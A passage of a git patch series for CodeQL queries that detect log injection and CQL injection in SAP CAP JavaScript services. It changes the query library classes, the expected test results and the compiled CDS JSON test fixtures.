diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/log-injection-with-service1-protocol-none.qlref b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/log-injection-with-service1-protocol-none.qlref
new file mode 100644
index 000000000..c33ccfc65
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service1-protocol-none/log-injection-with-service1-protocol-none.qlref
@@ -0,0 +1 @@
+loginjection/LogInjection.ql
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/log-injection-with-service2-protocol-none.expected b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/log-injection-with-service2-protocol-none.expected
new file mode 100644
index 000000000..8666c3389
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/log-injection-with-service2-protocol-none.expected
@@ -0,0 +1,37 @@
+nodes
+| srv/service1.js:6:33:6:35 | req |
+| srv/service1.js:6:33:6:35 | req |
+| srv/service1.js:7:19:7:35 | { messageToPass } |
+| srv/service1.js:7:19:7:46 | messageToPass |
+| srv/service1.js:7:21:7:33 | messageToPass |
+| srv/service1.js:7:39:7:41 | req |
+| srv/service1.js:7:39:7:46 | req.data |
+| srv/service1.js:9:36:9:52 | { messageToPass } |
+| srv/service1.js:9:38:9:50 | messageToPass |
+| srv/service2.js:6:29:6:31 | msg |
+| srv/service2.js:7:15:7:31 | { messageToPass } |
+| srv/service2.js:7:15:7:42 | messageToPass |
+| srv/service2.js:7:17:7:29 | messageToPass |
+| srv/service2.js:7:35:7:37 | msg |
+| srv/service2.js:7:35:7:42 | msg.data |
+| srv/service2.js:9:32:9:44 | messageToPass |
+| srv/service2.js:9:32:9:44 | messageToPass |
+edges
+| srv/service1.js:6:33:6:35 | req | srv/service1.js:7:39:7:41 | req |
+| srv/service1.js:6:33:6:35 | req | srv/service1.js:7:39:7:41 | req |
+| srv/service1.js:7:19:7:35 | { messageToPass } | srv/service1.js:7:21:7:33 | messageToPass |
+| srv/service1.js:7:19:7:46 | messageToPass | srv/service1.js:9:38:9:50 | messageToPass |
+| srv/service1.js:7:21:7:33 | messageToPass | srv/service1.js:7:19:7:46 | messageToPass |
+| srv/service1.js:7:39:7:41 | req | srv/service1.js:7:39:7:46 | req.data |
+| srv/service1.js:7:39:7:46 | req.data | srv/service1.js:7:19:7:35 | { messageToPass } |
+| srv/service1.js:9:36:9:52 | { messageToPass } | srv/service2.js:6:29:6:31 | msg |
+| srv/service1.js:9:38:9:50 | messageToPass | srv/service1.js:9:36:9:52 | { messageToPass } |
+| srv/service2.js:6:29:6:31 | msg | srv/service2.js:7:35:7:37 | msg |
+| srv/service2.js:7:15:7:31 | { messageToPass } | srv/service2.js:7:17:7:29 | messageToPass |
+| srv/service2.js:7:15:7:42 | messageToPass | srv/service2.js:9:32:9:44 | messageToPass |
+| srv/service2.js:7:15:7:42 | messageToPass | srv/service2.js:9:32:9:44 | messageToPass |
+| srv/service2.js:7:17:7:29 | messageToPass | srv/service2.js:7:15:7:42 | messageToPass |
+| srv/service2.js:7:35:7:37 | msg | srv/service2.js:7:35:7:42 | msg.data |
+| srv/service2.js:7:35:7:42 | msg.data | srv/service2.js:7:15:7:31 | { messageToPass } |
+#select
+| srv/service2.js:9:32:9:44 | messageToPass | srv/service1.js:6:33:6:35 | req | srv/service2.js:9:32:9:44 | messageToPass | Log entry depends on a $@. | srv/service1.js:6:33:6:35 | req | user-provided value |
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/log-injection-with-service2-protocol-none.qlref b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/log-injection-with-service2-protocol-none.qlref
new file mode 100644
index 000000000..c33ccfc65
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-with-service2-protocol-none/log-injection-with-service2-protocol-none.qlref
@@ -0,0 +1 @@
+loginjection/LogInjection.ql
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/log-injection-without-protocol-none.expected b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/log-injection-without-protocol-none.expected
new file mode 100644
index 000000000..06af9807a
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/log-injection-without-protocol-none.expected
@@ -0,0 +1,40 @@
+nodes
+| srv/service1.js:6:33:6:35 | req |
+| srv/service1.js:6:33:6:35 | req |
+| srv/service1.js:7:19:7:35 | { messageToPass } |
+| srv/service1.js:7:19:7:46 | messageToPass |
+| srv/service1.js:7:21:7:33 | messageToPass |
+| srv/service1.js:7:39:7:41 | req |
+| srv/service1.js:7:39:7:46 | req.data |
+| srv/service1.js:9:36:9:52 | { messageToPass } |
+| srv/service1.js:9:38:9:50 | messageToPass |
+| srv/service2.js:6:29:6:31 | msg |
+| srv/service2.js:6:29:6:31 | msg |
+| srv/service2.js:7:15:7:31 | { messageToPass } |
+| srv/service2.js:7:15:7:42 | messageToPass |
+| srv/service2.js:7:17:7:29 | messageToPass |
+| srv/service2.js:7:35:7:37 | msg |
+| srv/service2.js:7:35:7:42 | msg.data |
+| srv/service2.js:9:32:9:44 | messageToPass |
+| srv/service2.js:9:32:9:44 | messageToPass |
+edges
+| srv/service1.js:6:33:6:35 | req | srv/service1.js:7:39:7:41 | req |
+| srv/service1.js:6:33:6:35 | req | srv/service1.js:7:39:7:41 | req |
+| srv/service1.js:7:19:7:35 | { messageToPass } | srv/service1.js:7:21:7:33 | messageToPass |
+| srv/service1.js:7:19:7:46 | messageToPass | srv/service1.js:9:38:9:50 | messageToPass |
+| srv/service1.js:7:21:7:33 | messageToPass | srv/service1.js:7:19:7:46 | messageToPass |
+| srv/service1.js:7:39:7:41 | req | srv/service1.js:7:39:7:46 | req.data |
+| srv/service1.js:7:39:7:46 | req.data | srv/service1.js:7:19:7:35 | { messageToPass } |
+| srv/service1.js:9:36:9:52 | { messageToPass } | srv/service2.js:6:29:6:31 | msg |
+| srv/service1.js:9:38:9:50 | messageToPass | srv/service1.js:9:36:9:52 | { messageToPass } |
+| srv/service2.js:6:29:6:31 | msg | srv/service2.js:7:35:7:37 | msg |
+| srv/service2.js:6:29:6:31 | msg | srv/service2.js:7:35:7:37 | msg |
+| srv/service2.js:7:15:7:31 | { messageToPass } | srv/service2.js:7:17:7:29 | messageToPass |
+| srv/service2.js:7:15:7:42 | messageToPass | srv/service2.js:9:32:9:44 | messageToPass |
+| srv/service2.js:7:15:7:42 | messageToPass | srv/service2.js:9:32:9:44 | messageToPass |
+| srv/service2.js:7:17:7:29 | messageToPass | srv/service2.js:7:15:7:42 | messageToPass |
+| srv/service2.js:7:35:7:37 | msg | srv/service2.js:7:35:7:42 | msg.data |
+| srv/service2.js:7:35:7:42 | msg.data | srv/service2.js:7:15:7:31 | { messageToPass } |
+#select
+| srv/service2.js:9:32:9:44 | messageToPass | srv/service1.js:6:33:6:35 | req | srv/service2.js:9:32:9:44 | messageToPass | Log entry depends on a $@. | srv/service1.js:6:33:6:35 | req | user-provided value |
+| srv/service2.js:9:32:9:44 | messageToPass | srv/service2.js:6:29:6:31 | msg | srv/service2.js:9:32:9:44 | messageToPass | Log entry depends on a $@. | srv/service2.js:6:29:6:31 | msg | user-provided value |
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/log-injection-without-protocol-none.qlref b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/log-injection-without-protocol-none.qlref
new file mode 100644
index 000000000..c33ccfc65
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/log-injection-without-protocol-none.qlref
@@ -0,0 +1 @@
+loginjection/LogInjection.ql

From 2be5dab084c389e3ae2a2ab2c503a5cca328b9bf Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Thu, 7 Mar 2024 13:07:21 -0800
Subject: [PATCH 52/86] Fix log-injection-single-file

---
 .../frameworks/cap/CAPLogInjectionQuery.qll   |  4 +--
 .../javascript/frameworks/cap/CDS.qll         |  2 +-
 .../cap/src/cqlinjection/CqlInjection.ql      |  2 +-
 .../loginjection.expected                     | 34 -------------------
 4 files changed, 4 insertions(+), 38 deletions(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjectionQuery.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjectionQuery.qll
index eead8e0b5..10f206b9f 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjectionQuery.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CAPLogInjectionQuery.qll
@@ -29,10 +29,10 @@ class CdsLogSink extends DataFlow::Node {
   CdsLogSink() {
     exists(CdsLogger log, MethodCallNode loggingMethod |
       this = loggingMethod.getAnArgument() and
+      loggingMethod.getMethodName() = ["trace", "debug", "info", "log", "warn", "error"] and
       not this.asExpr() instanceof Literal and
       not this.asExpr() instanceof TemplateLiteral and
-      loggingMethod.getReceiver().getALocalSource() = log and
-      loggingMethod.getMethodName() = ["trace", "debug", "info", "log", "warn", "error"]
+      loggingMethod.getReceiver().getALocalSource() = log
     )
   }
 }
diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index 93206ca97..0a0790285 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -10,7 +10,7 @@ import advanced_security.javascript.frameworks.cap.CQL
  * ```
  */
 class CdsFacade extends API::Node {
-  CdsFacade() { this = API::moduleImport("@sap/cds") }
+  CdsFacade() { this = API::moduleImport(["@sap/cds", "@sap/cds/lib"]) }
 
   Node getNode() { result = this.asSource() }
 }
diff --git a/javascript/frameworks/cap/src/cqlinjection/CqlInjection.ql b/javascript/frameworks/cap/src/cqlinjection/CqlInjection.ql
index d4596500e..291dfec99 100644
--- a/javascript/frameworks/cap/src/cqlinjection/CqlInjection.ql
+++ b/javascript/frameworks/cap/src/cqlinjection/CqlInjection.ql
@@ -21,7 +21,7 @@ class CqlIConfiguration extends TaintTracking::Configuration {
 
   override predicate isSource(DataFlow::Node source) { source instanceof RemoteFlowSource }
 
-  override predicate isSink(DataFlow::Node sink) { sink instanceof Sink or sink instanceof CQLSink }
+  override predicate isSink(DataFlow::Node sink) { sink instanceof CQLSink }
 
   override predicate isSanitizer(DataFlow::Node node) {
     super.isSanitizer(node) or
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.expected b/javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.expected
index bbbbfd3f0..96f76c841 100644
--- a/javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.expected
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-single-file/loginjection.expected
@@ -1,24 +1,14 @@
 nodes
 | loginjection.js:7:34:7:36 | req |
 | loginjection.js:7:34:7:36 | req |
-| loginjection.js:7:34:7:36 | req |
-| loginjection.js:7:34:7:36 | req |
-| loginjection.js:8:13:8:30 | { book, quantity } |
 | loginjection.js:8:13:8:30 | { book, quantity } |
 | loginjection.js:8:13:8:41 | book |
-| loginjection.js:8:13:8:41 | book |
-| loginjection.js:8:15:8:18 | book |
 | loginjection.js:8:15:8:18 | book |
 | loginjection.js:8:34:8:36 | req |
-| loginjection.js:8:34:8:36 | req |
-| loginjection.js:8:34:8:41 | req.data |
 | loginjection.js:8:34:8:41 | req.data |
 | loginjection.js:11:16:11:28 | "CAP:" + book |
 | loginjection.js:11:16:11:28 | "CAP:" + book |
 | loginjection.js:11:25:11:28 | book |
-| loginjection.js:12:19:12:35 | "console:" + book |
-| loginjection.js:12:19:12:35 | "console:" + book |
-| loginjection.js:12:32:12:35 | book |
 | loginjection.js:15:24:15:26 | req |
 | loginjection.js:15:24:15:26 | req |
 | loginjection.js:18:13:18:24 | $ |
@@ -27,40 +17,23 @@ nodes
 | loginjection.js:18:47:18:47 | $ |
 | loginjection.js:18:47:18:47 | $ |
 | loginjection.js:23:13:23:30 | { book, quantity } |
-| loginjection.js:23:13:23:30 | { book, quantity } |
-| loginjection.js:23:13:23:53 | book |
 | loginjection.js:23:13:23:53 | book |
 | loginjection.js:23:15:23:18 | book |
-| loginjection.js:23:15:23:18 | book |
-| loginjection.js:23:34:23:53 | req2.params.category |
-| loginjection.js:23:34:23:53 | req2.params.category |
 | loginjection.js:23:34:23:53 | req2.params.category |
 | loginjection.js:23:34:23:53 | req2.params.category |
 | loginjection.js:25:16:25:28 | "CAP:" + book |
 | loginjection.js:25:16:25:28 | "CAP:" + book |
 | loginjection.js:25:25:25:28 | book |
-| loginjection.js:26:19:26:35 | "console:" + book |
-| loginjection.js:26:19:26:35 | "console:" + book |
-| loginjection.js:26:32:26:35 | book |
 edges
 | loginjection.js:7:34:7:36 | req | loginjection.js:8:34:8:36 | req |
 | loginjection.js:7:34:7:36 | req | loginjection.js:8:34:8:36 | req |
-| loginjection.js:7:34:7:36 | req | loginjection.js:8:34:8:36 | req |
-| loginjection.js:7:34:7:36 | req | loginjection.js:8:34:8:36 | req |
-| loginjection.js:8:13:8:30 | { book, quantity } | loginjection.js:8:15:8:18 | book |
 | loginjection.js:8:13:8:30 | { book, quantity } | loginjection.js:8:15:8:18 | book |
 | loginjection.js:8:13:8:41 | book | loginjection.js:11:25:11:28 | book |
-| loginjection.js:8:13:8:41 | book | loginjection.js:12:32:12:35 | book |
-| loginjection.js:8:15:8:18 | book | loginjection.js:8:13:8:41 | book |
 | loginjection.js:8:15:8:18 | book | loginjection.js:8:13:8:41 | book |
 | loginjection.js:8:34:8:36 | req | loginjection.js:8:34:8:41 | req.data |
-| loginjection.js:8:34:8:36 | req | loginjection.js:8:34:8:41 | req.data |
-| loginjection.js:8:34:8:41 | req.data | loginjection.js:8:13:8:30 | { book, quantity } |
 | loginjection.js:8:34:8:41 | req.data | loginjection.js:8:13:8:30 | { book, quantity } |
 | loginjection.js:11:25:11:28 | book | loginjection.js:11:16:11:28 | "CAP:" + book |
 | loginjection.js:11:25:11:28 | book | loginjection.js:11:16:11:28 | "CAP:" + book |
-| loginjection.js:12:32:12:35 | book | loginjection.js:12:19:12:35 | "console:" + book |
-| loginjection.js:12:32:12:35 | book | loginjection.js:12:19:12:35 | "console:" + book |
 | loginjection.js:15:24:15:26 | req | loginjection.js:18:17:18:19 | req |
 | loginjection.js:15:24:15:26 | req | loginjection.js:18:17:18:19 | req |
 | loginjection.js:18:13:18:24 | $ | loginjection.js:18:47:18:47 | $ |
@@ -68,19 +41,12 @@ edges
 | loginjection.js:18:17:18:19 | req | loginjection.js:18:17:18:24 | req.data |
 | loginjection.js:18:17:18:24 | req.data | loginjection.js:18:13:18:24 | $ |
 | loginjection.js:23:13:23:30 | { book, quantity } | loginjection.js:23:15:23:18 | book |
-| loginjection.js:23:13:23:30 | { book, quantity } | loginjection.js:23:15:23:18 | book |
 | loginjection.js:23:13:23:53 | book | loginjection.js:25:25:25:28 | book |
-| loginjection.js:23:13:23:53 | book | loginjection.js:26:32:26:35 | book |
-| loginjection.js:23:15:23:18 | book | loginjection.js:23:13:23:53 | book |
 | loginjection.js:23:15:23:18 | book | loginjection.js:23:13:23:53 | book |
 | loginjection.js:23:34:23:53 | req2.params.category | loginjection.js:23:13:23:30 | { book, quantity } |
 | loginjection.js:23:34:23:53 | req2.params.category | loginjection.js:23:13:23:30 | { book, quantity } |
-| loginjection.js:23:34:23:53 | req2.params.category | loginjection.js:23:13:23:30 | { book, quantity } |
-| loginjection.js:23:34:23:53 | req2.params.category | loginjection.js:23:13:23:30 | { book, quantity } |
 | loginjection.js:25:25:25:28 | book | loginjection.js:25:16:25:28 | "CAP:" + book |
 | loginjection.js:25:25:25:28 | book | loginjection.js:25:16:25:28 | "CAP:" + book |
-| loginjection.js:26:32:26:35 | book | loginjection.js:26:19:26:35 | "console:" + book |
-| loginjection.js:26:32:26:35 | book | loginjection.js:26:19:26:35 | "console:" + book |
 #select
 | loginjection.js:11:16:11:28 | "CAP:" + book | loginjection.js:7:34:7:36 | req | loginjection.js:11:16:11:28 | "CAP:" + book | Log entry depends on a $@. | loginjection.js:7:34:7:36 | req | user-provided value |
 | loginjection.js:18:47:18:47 | $ | loginjection.js:15:24:15:26 | req | loginjection.js:18:47:18:47 | $ | Log entry depends on a $@. | loginjection.js:15:24:15:26 | req | user-provided value |

From 37eeac35d7f7fb8223a988b09c4bead269a9265b Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Thu, 7 Mar 2024 13:37:27 -0800
Subject: [PATCH 53/86] Fix `userdefinedservice` test

---
 .../javascript/frameworks/cap/CDS.qll         | 40 ++++++++++++++-----
 .../userdefinedservice/userdefinedservice.ql  |  2 +-
 2 files changed, 30 insertions(+), 12 deletions(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index 0a0790285..fd2fed8e6 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -296,12 +296,32 @@ class ErrorHandler extends Handler {
   ErrorHandler() { this.getAnEventName() = "error" }
 }
 
+private class CdsServiceClass extends API::Node {
+  CdsServiceClass() { exists(CdsFacade c | this = c.getMember("Service")) }
+}
+
+private class CdsApplicationServiceClass extends API::Node {
+  CdsApplicationServiceClass() { exists(CdsFacade c | this = c.getMember("ApplicationService")) }
+}
+
+abstract class UserDefinedService extends DataFlow::Node {
+  abstract FunctionNode getInitFunction();
+}
+
+abstract class UserDefinedBaseService extends UserDefinedService { }
+
+class ES6BaseServiceDefinition extends ClassNode, UserDefinedBaseService {
+  ES6BaseServiceDefinition() {
+    exists(CdsServiceClass cdsService | this.getASuperClassNode() = cdsService.asSource())
+  }
+
+  override FunctionNode getInitFunction() { result = this.getInstanceMethod("init") }
+}
+
 /**
  * A custom application service of type `cds.ApplicationService`, where parts of the business logic are implemented.
  */
-abstract class UserDefinedApplicationService extends DataFlow::Node {
-  abstract FunctionNode getInitFunction();
-
+abstract class UserDefinedApplicationService extends UserDefinedService {
   HandlerRegistration getHandlerRegistration(string eventName) {
     result.getEnclosingFunction() = this.getInitFunction().asExpr() and
     result.getAnEventName() = eventName
@@ -354,8 +374,8 @@ abstract class UserDefinedApplicationService extends DataFlow::Node {
  * class SomeService extends cds.ApplicationService { init() { ... } }
  * ```
  */
-class ES6Definition extends ClassNode, UserDefinedApplicationService {
-  ES6Definition() {
+class ES6ApplicationServiceDefinition extends ClassNode, UserDefinedApplicationService {
+  ES6ApplicationServiceDefinition() {
     exists(CdsApplicationServiceClass cdsApplicationService |
       this.getASuperClassNode() = cdsApplicationService.asSource()
     )
@@ -371,8 +391,10 @@ class ES6Definition extends ClassNode, UserDefinedApplicationService {
  * module.exports = cds.service.impl (function() { ... })
  * ```
  */
-class ImplMethodCallDefinition extends MethodCallNode, UserDefinedApplicationService {
-  ImplMethodCallDefinition() {
+class ImplMethodCallApplicationServiceDefinition extends MethodCallNode,
+  UserDefinedApplicationService
+{
+  ImplMethodCallApplicationServiceDefinition() {
     exists(CdsFacade cds |
       this.getReceiver() = cds.getMember("service").asSource() and
       this.getMethodName() = "impl"
@@ -382,10 +404,6 @@ class ImplMethodCallDefinition extends MethodCallNode, UserDefinedApplicationSer
   override FunctionNode getInitFunction() { result = this.getArgument(0) }
 }
 
-private class CdsApplicationServiceClass extends API::Node {
-  CdsApplicationServiceClass() { exists(CdsFacade c | this = c.getMember("ApplicationService")) }
-}
-
 abstract class InterServiceCommunicationMethodCall extends MethodCallNode {
   InterServiceCommunicationMethodCall() {
     exists(ServiceInstance srv | this = srv.getASrvMethodCall())
diff --git a/javascript/frameworks/cap/test/models/cds/userdefinedservice/userdefinedservice.ql b/javascript/frameworks/cap/test/models/cds/userdefinedservice/userdefinedservice.ql
index 3b7e50102..2b7644041 100644
--- a/javascript/frameworks/cap/test/models/cds/userdefinedservice/userdefinedservice.ql
+++ b/javascript/frameworks/cap/test/models/cds/userdefinedservice/userdefinedservice.ql
@@ -1,5 +1,5 @@
 import javascript
 import advanced_security.javascript.frameworks.cap.CDS
 
-from UserDefinedApplicationService svc
+from UserDefinedService svc
 select svc
\ No newline at end of file

From cd9bbe7a69f23a40af37ade399d35b109462ea9b Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Thu, 7 Mar 2024 14:15:25 -0800
Subject: [PATCH 54/86] Fix `requesthandler` unit test

Note that `requesthandler` initially aimed to see
if the request handlers are correctly identified;
so we look for the handler parameter explicitly
rather than selecting the `RemoteFlowSources.HandlerParameter`.
---
 .../cap/test/models/cds/requesthandler/requesthandler.ql    | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/javascript/frameworks/cap/test/models/cds/requesthandler/requesthandler.ql b/javascript/frameworks/cap/test/models/cds/requesthandler/requesthandler.ql
index d57079fbe..f26db704a 100644
--- a/javascript/frameworks/cap/test/models/cds/requesthandler/requesthandler.ql
+++ b/javascript/frameworks/cap/test/models/cds/requesthandler/requesthandler.ql
@@ -1,5 +1,5 @@
 import javascript
-import advanced_security.javascript.frameworks.cap.RemoteFlowSources
+import advanced_security.javascript.frameworks.cap.CDS
 
-from HandlerParameter src
-select src
\ No newline at end of file
+from Handler handler
+select handler.getAParameter()
\ No newline at end of file

From 62b5c91a082afe15293552390479164c79c279a7 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Thu, 7 Mar 2024 14:18:15 -0800
Subject: [PATCH 55/86] Fix failing unit tests due to compilation error

---
 javascript/frameworks/cap/test/models/cds/cxn/parseexpr.ql     | 2 +-
 javascript/frameworks/cap/test/models/cds/logger/logger.ql     | 2 +-
 .../test/models/cds/oldstyleuserdefined/oldstyleuserdefined.ql | 3 +--
 3 files changed, 3 insertions(+), 4 deletions(-)

diff --git a/javascript/frameworks/cap/test/models/cds/cxn/parseexpr.ql b/javascript/frameworks/cap/test/models/cds/cxn/parseexpr.ql
index b20a1498c..f877d02e0 100644
--- a/javascript/frameworks/cap/test/models/cds/cxn/parseexpr.ql
+++ b/javascript/frameworks/cap/test/models/cds/cxn/parseexpr.ql
@@ -1,5 +1,5 @@
 import javascript
-import advanced_security.javascript.frameworks.cap.CDS
+import advanced_security.javascript.frameworks.cap.dataflow.DataFlow
 
 from ParseSink sink
 select sink
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/models/cds/logger/logger.ql b/javascript/frameworks/cap/test/models/cds/logger/logger.ql
index 1da737cc9..847b6ce56 100644
--- a/javascript/frameworks/cap/test/models/cds/logger/logger.ql
+++ b/javascript/frameworks/cap/test/models/cds/logger/logger.ql
@@ -1,5 +1,5 @@
 import javascript
-import advanced_security.javascript.frameworks.cap.CAPLogInjection
+import advanced_security.javascript.frameworks.cap.CAPLogInjectionQuery
 
 from CdsLogSink sink
 select sink
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/models/cds/oldstyleuserdefined/oldstyleuserdefined.ql b/javascript/frameworks/cap/test/models/cds/oldstyleuserdefined/oldstyleuserdefined.ql
index ad3affced..1069f3ac2 100644
--- a/javascript/frameworks/cap/test/models/cds/oldstyleuserdefined/oldstyleuserdefined.ql
+++ b/javascript/frameworks/cap/test/models/cds/oldstyleuserdefined/oldstyleuserdefined.ql
@@ -1,6 +1,5 @@
 import javascript
 import advanced_security.javascript.frameworks.cap.CDS
 
-from MethodCallNode cdsServiceImplCall
-where exists(TUserDefinedApplicationService svc | svc = TImplMethodCall(cdsServiceImplCall))
+from ImplMethodCallApplicationServiceDefinition cdsServiceImplCall
 select cdsServiceImplCall

From b57a7c616ff6a929e7cf58c784614f580342c3f8 Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Thu, 7 Mar 2024 14:42:13 -0800
Subject: [PATCH 56/86] Fix `applicationserviceinstance` test

---
 .../lib/advanced_security/javascript/frameworks/cap/CDS.qll  | 5 ++++-
 1 file changed, 4 insertions(+), 1 deletion(-)

diff --git a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
index fd2fed8e6..f7ba11185 100644
--- a/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
+++ b/javascript/frameworks/cap/lib/advanced_security/javascript/frameworks/cap/CDS.qll
@@ -90,7 +90,10 @@ class ServiceInstanceFromCdsConnectTo extends ServiceInstance {
 
   ServiceInstanceFromCdsConnectTo() {
     exists(CdsConnectToCall cdsConnectTo |
-      this = cdsConnectTo.getVarDefUsingCdsConnect().getAVariable().getAnAccess().flow() and
+      (
+        this = cdsConnectTo.getACall() or
+        this = cdsConnectTo.getVarDefUsingCdsConnect().getAVariable().getAnAccess().flow()
+      ) and
       serviceName = cdsConnectTo.getServiceName()
     )
   }

From f2111694175107d15ea59b597a16adc6cbc31d7a Mon Sep 17 00:00:00 2001
From: Jeongsoo Lee <jeongsoolee09@github.com>
Date: Fri, 8 Mar 2024 12:57:37 -0800
Subject: [PATCH 57/86] Update untracked json files compiled from cds files

---
 .../db/schema.json                            | 36 ++++++++++
 .../srv/service1.json                         | 70 ++++++++++++++++++
 .../srv/service2.json                         | 71 +++++++++++++++++++
 .../db/schema.json                            | 36 ++++++++++
 .../srv/service1.json                         | 71 +++++++++++++++++++
 .../srv/service2.json                         | 71 +++++++++++++++++++
 .../db/schema.json                            | 36 ++++++++++
 .../srv/service1.json                         | 70 ++++++++++++++++++
 .../srv/service2.json                         | 70 ++++++++++++++++++
 9 files changed, 531 insertions(+)
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/schema.json
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.json
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service2.json
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/db/schema.json
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service1.json
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-with-complete-protocol-none/srv/service2.json
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/db/schema.json
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service1.json
 create mode 100644 javascript/frameworks/cap/test/queries/loginjection/log-injection-without-protocol-none/srv/service2.json

diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/schema.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/schema.json
new file mode 100644
index 000000000..74f9430e3
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/db/schema.json
@@ -0,0 +1,36 @@
+{
+  "namespace": "advanced_security.log_injection.sample_entities",
+  "definitions": {
+    "advanced_security.log_injection.sample_entities.Entity1": {
+      "kind": "entity",
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute2": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity2": {
+      "kind": "entity",
+      "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute4": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    }
+  },
+  "meta": {
+    "creator": "CDS Compiler v4.1.2",
+    "flavor": "inferred"
+  },
+  "$version": "2.0"
+}
\ No newline at end of file
diff --git a/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.json b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.json
new file mode 100644
index 000000000..f9bd8754e
--- /dev/null
+++ b/javascript/frameworks/cap/test/queries/loginjection/log-injection-not-depending-on-request/srv/service1.json
@@ -0,0 +1,70 @@
+{
+  "definitions": {
+    "Service1": {
+      "@source": "srv/service1.cds",
+      "kind": "service",
+      "@path": "/service-1"
+    },
+    "Service1.Service1Entity": {
+      "kind": "entity",
+      "projection": {
+        "from": {
+          "ref": [
+            "advanced_security.log_injection.sample_entities.Entity1"
+          ]
+        },
+        "excluding": [
+          "Attribute2"
+        ]
+      },
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "Service1.send1": {
+      "kind": "action",
+      "params": {
+        "messageToPass": {
+          "type": "cds.String"
+        }
+      },
+      "returns": {
+        "type": "cds.String"
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity1": {
+      "kind": "entity",
+      "elements": {
+        "Attribute1": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute2": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    },
+    "advanced_security.log_injection.sample_entities.Entity2": {
+      "kind": "entity",
+      "elements": {
+        "Attribute3": {
+          "type": "cds.String",
+          "length": 100
+        },
+        "Attribute4": {
+          "type": "cds.String",
+          "length": 100
+        }
+      }
+    }
+  },
+  "meta": {
+    "creator": "CDS Compiler v4.1.2",
